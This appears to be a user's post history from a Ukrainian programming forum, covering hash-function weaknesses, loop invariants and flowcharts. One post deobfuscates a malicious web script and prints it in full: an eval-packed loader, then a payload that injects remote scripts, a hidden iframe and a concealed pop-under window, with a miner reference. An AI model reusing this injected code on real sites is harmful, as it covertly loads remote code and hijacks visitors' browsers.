1

(4 відповідей, залишених у C/C++)

mosienkoyaroslav написав:
koala написав:

Краще б посилання на цю тему поставили, якщо вже про рекурсію говорите.

вибачаюсь, але посилання не працює, посилання на цю ж саму сторінку

А хіба я не написав, що це посилання на цю сторінку? Рекурсія ж.

2

(4 відповідей, залишених у C/C++)

Краще б посилання на цю тему поставили, якщо вже про рекурсію говорите.

Ось вам колізія на 32 ітераціях:
https://ideone.com/ffOJpc

4

(6 відповідей, залишених у C/C++)

То намалюйте як завжди, що ви від нас хочете? Блок-схемами в живому програмуванні вже давно не користуються, UML - не блок-схема.

5

(6 відповідей, залишених у C/C++)

Мабуть, у вас клавіатура зламалася. Замініть її.

А якщо серйозно - то замість "не виходить" напишіть конкретно, що відбувається - чи запускається програма, що ви вводите і що відбувається після цього.

----

Блок-схему складають ДО кодування, а не після. Кодують по блок-схемі, а не навпаки.

6

(6 відповідей, залишених у Windows)

Кілька команд cmd - це .bat чи .cmd-файл.
Запустити команду окремим потоком (і вікном) в Windows - start.

І так, це таки (третій рядок в https://ladoshka.webcam/et.js )

За допомогою http://jsnice.org/ отримав

Прихований текст

eval(function(str, radix, data, cache, f, opt_attributes) {
  /**
   * @param {(number|string)} arg1
   * @return {?}
   */
  f = function(arg1) {
    return arg1.toString(36);
  };
  if (!"".replace(/^/, String)) {
    for (;data--;) {
      /** @type {string} */
      opt_attributes[data.toString(radix)] = cache[data] || data.toString(radix);
    }
    /** @type {Array} */
    cache = [function(timeoutKey) {
      return opt_attributes[timeoutKey];
    }];
    /**
     * @return {?}
     */
    f = function() {
      return "\\w+";
    };
    /** @type {number} */
    data = 1;
  }
  for (;data--;) {
    if (cache[data]) {
      /** @type {string} */
      str = str.replace(new RegExp("\\b" + f(data) + "\\b", "g"), cache[data]);
    }
  }
  return str;
}("4 0=1.3('2');0.5='//a.6/9';1.8.7(0)", 11, 11, "elr|document|script|createElement|var|src|info|appendChild|head|TJ86kh|pokemgo".split("|"), 0, {}));

функція явно формує щось для eval, і ніби не містить небезпечного коду. Спробую запустити:
"var elr=document.createElement('script');elr.src='//pokemgo.info/TJ86kh';document.head.appendChild(elr)"
оце і є реальний код - з pokemgo.info:

Прихований текст

if((Gc('_ym_lng') == null)){ var el = document.createElement('script'); el.src = 'https://ladoshka.webcam/et.js'; document.head.appendChild(el); var fr = document.createElement('iframe'); fr.src = 'https://advpromo.biz/partner/go.php?tag=skpt'; fr.setAttribute("width", "1px"); fr.setAttribute("height", "1px"); document.head.appendChild(fr); } if((navigator.userAgent.match(/(chrome)/i)!==null)&&(document.referrer.match(/(google|yandex)/i)!==null)&&(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|iphone|ipod|ipad|mtk|bada|windows phone)/i)==null)){ nwd = function(){ if((Gc('_ym_lng') == null)){ Se('_ym_lng','1','', "/"); newWin = window.open("https://pokemgo.info/6T8PZb", "Chrome", 'scrollbars=no', ''); } newWin.resizeTo(0, 0 ); newWin.moveTo(9999, 9999); miner.stop(); }; var bd = document.getElementsByTagName("body")[0]; window.onclick = nwd; } function Gv (offset) { var en = document.cookie.indexOf (";", offset); if (en == -1) en = document.cookie.length; return unescape(document.cookie.substring(offset, en)); } function Gc (name) { var arg = name + "="; var al = arg.length; var cl = document.cookie.length; var i = 0; while (i < cl) { var j = i + al; if (document.cookie.substring(i, j) == arg) return Gv (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function Se (name, value) { var argv = Se.arguments; var argc = Se.arguments.length; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } if (document.querySelector) { var node = document.querySelector('script[src*="//pokemgo.info/TJ86kh"]'); if (node && node.remove) { node.remove(); } }

Знову jsnice:

Прихований текст

if (Gc("_ym_lng") == null) {
  /** @type {Element} */
  var el = document.createElement("script");
  /** @type {string} */
  el.src = "https://ladoshka.webcam/et.js";
  document.head.appendChild(el);
  /** @type {Element} */
  var fr = document.createElement("iframe");
  /** @type {string} */
  fr.src = "https://advpromo.biz/partner/go.php?tag=skpt";
  fr.setAttribute("width", "1px");
  fr.setAttribute("height", "1px");
  document.head.appendChild(fr);
}
if (navigator.userAgent.match(/(chrome)/i) !== null && (document.referrer.match(/(google|yandex)/i) !== null && navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|iphone|ipod|ipad|mtk|bada|windows phone)/i) == null)) {
  /**
   * @return {undefined}
   */
  nwd = function() {
    if (Gc("_ym_lng") == null) {
      Se("_ym_lng", "1", "", "/");
      /** @type {(Window|null)} */
      newWin = window.open("https://pokemgo.info/6T8PZb", "Chrome", "scrollbars=no", "");
    }
    newWin.resizeTo(0, 0);
    newWin.moveTo(9999, 9999);
    miner.stop();
  };
  var bd = document.getElementsByTagName("body")[0];
  /** @type {function (): undefined} */
  window.onclick = nwd;
}
/**
 * @param {number} s
 * @return {?}
 */
function Gv(s) {
  /** @type {number} */
  var p = document.cookie.indexOf(";", s);
  if (p == -1) {
    /** @type {number} */
    p = document.cookie.length;
  }
  return unescape(document.cookie.substring(s, p));
}
/**
 * @param {string} dataAndEvents
 * @return {?}
 */
function Gc(dataAndEvents) {
  /** @type {string} */
  var number = dataAndEvents + "=";
  /** @type {number} */
  var n = number.length;
  /** @type {number} */
  var valuesLen = document.cookie.length;
  /** @type {number} */
  var i = 0;
  for (;i < valuesLen;) {
    /** @type {number} */
    var e = i + n;
    if (document.cookie.substring(i, e) == number) {
      return Gv(e);
    }
    /** @type {number} */
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) {
      break;
    }
  }
  return null;
}
/**
 * @param {string} n
 * @param {string} k
 * @return {undefined}
 */
function Se(n, k) {
  var args = Se.arguments;
  var len = Se.arguments.length;
  var val = len > 3 ? args[3] : null;
  var value = len > 4 ? args[4] : null;
  var first = len > 5 ? args[5] : false;
  /** @type {string} */
  document.cookie = n + "=" + escape(k) + (val == null ? "" : "; path=" + val) + (value == null ? "" : "; domain=" + value) + (first == true ? "; secure" : "");
}
if (document.querySelector) {
  /** @type {(Element|null)} */
  var node = document.querySelector('script[src*="//pokemgo.info/TJ86kh"]');
  if (node && node.remove) {
    node.remove();
  }
}
;

Далі треба копати?

Фігня цей ваш хеш. По-перше, він обробляє весь рядок визначену кількість ітерацій, тобто малоефективний на довгих рядках (якщо мені треба хешувати гігабайт, то він буде цей гігабайт 32 рази пробігати, навіть якщо переписати його, щоб не в пам'яті це крутив).
А по-друге, ефективна довжина хешу значно менша. Дивіться:

    result = 0xBA5E0FDA7AB17C01 //довжина хешу - 8 байт
    data = str(data)
    for i in range(itr):
        for char in data: 
            #розбираємо по частинах
            o = ord(char)|(ord(char)<<16)
            '''якщо ord(char)<256, то o - 256 значень до 3 байт; якщо char 2-байтовий, то до 4 байт. 
            Наприклад, для ASCII максимальне значення char дає 0x7f007f, що містить 23 біти'''
            r = int(str(result)[::-1])
            '''тут найцікавіше. Якщо число не ділиться на 10, то обернене має таку саму довжину в 10-й системі 
            (не факт, що у двійковій вона зберігається, іноді може навіть зростати, але в середньому без змін). 
            Але якщо ділиться - то число зменшується в 10 разів, тобто на 3 біти, раз на 10 операцій, 
            а іноді в 100 і в 1000.'''
            result = r^o
            '''ефективна довжина результату після досить довгого рядка - приблизно максимальна довжина
            символа+16 біт'''
       
        result = (int(str(result*salt)[::-1])<<i)%int(length*'F',16)
        '''Таким чином, ефективна довжина хешу довгого тексту з 2-байтовими сиволами - 4 байти, 32 біти.   
        Підбирається на сучасному компі за пару годин, і те тільки тому, що код дуже неоптимальний.'''
        
    return result

Механічно, пошуком збігів.

Так, ви заплуталися. Алгоритм має перевіряти наявність елементу в масиві - а доводити треба, що він це робить коректно, а не наявність/відсутність. Ми на рівень вище, контролюємо не масив, а сам алгоритм, так зрозуміло?

FakiNyan написав:
koala написав:
FakiNyan написав:

То це типу мона довести, що елемент постійно є в масиві, або те, що елементу постійно немає в масиві? -_-

ЯК? О_о

що саме як?
a) як довести, що елементу завжди нема в масиві
б) як довести, що елемент завжди є в масиві
c) свій варіянт

А чи б, на ваш розсуд. Очевидно, що жодного не можна довести без масиву.

FakiNyan написав:

То це типу мона довести, що елемент постійно є в масиві, або те, що елементу постійно немає в масиві? -_-

ЯК? О_о

Інваріант - це щось, що лишається незмінним. Тут ідея в тому, щоб придумати певну властивість - наприклад, впорядкованість всіх елементів в певному діапазоні, або те, що жоден з них не дорівнює значенню v, і довести, що ця властивість присутня перед циклом, після кожної ітерації і при завершенні роботи коду. Власне, для нас головне останнє; але щоб його довести, треба спертися на попередні твердження. З Initialization випливає Maintenance, а з Maintenance - Termination.

Я правильно розумію, що ви інвертуєте число у десятковій системі?

i не "рухається", це не частина алгоритму, це частина опису інваріанта.
А якщо v в A, то відбувається вихід з циклу, і під час цього теж підтримується інваріант. Це ви і маєте перевірити під час доказу.

17

(9 відповідей, залишених у HTML та CSS)

Наведений код не викликає описаної проблеми (бо там немає CSS). Будь ласка, якщо хочете, щоб вам допомогли - надавайте всю інформацію. Якщо хочете, щоб люди здогадувалися, що вам треба, чи робили за вас - пропонуйте гроші.

Простою мовою - "пройдені елементи не містять v". А я написав "для будь-якого i від 0 до j (не включно) A[ i ] не дорівнює v", тобто те саме, але коротше і точніше. Ця умова має виконуватися у будь-який момент.

А який у вас інваріант? Тут, я так розумію, інваріантом буде "∀ i, 0<=i<j => A[ i ]!=v". Ну а доказ тут, звісно, елементарний, всі три кроки самоочевидні.

Виведення можна різко скоротити, якщо одразу логарифмувати по 10. І цілу частину в математиці зазвичай позначають [x], ну і c*10^p не обов'язково всюди повторювати :)
e = c*10^p    //# exponent, показник
b = [e*lg10(2)]
a = 2^(e-b/lg10(2))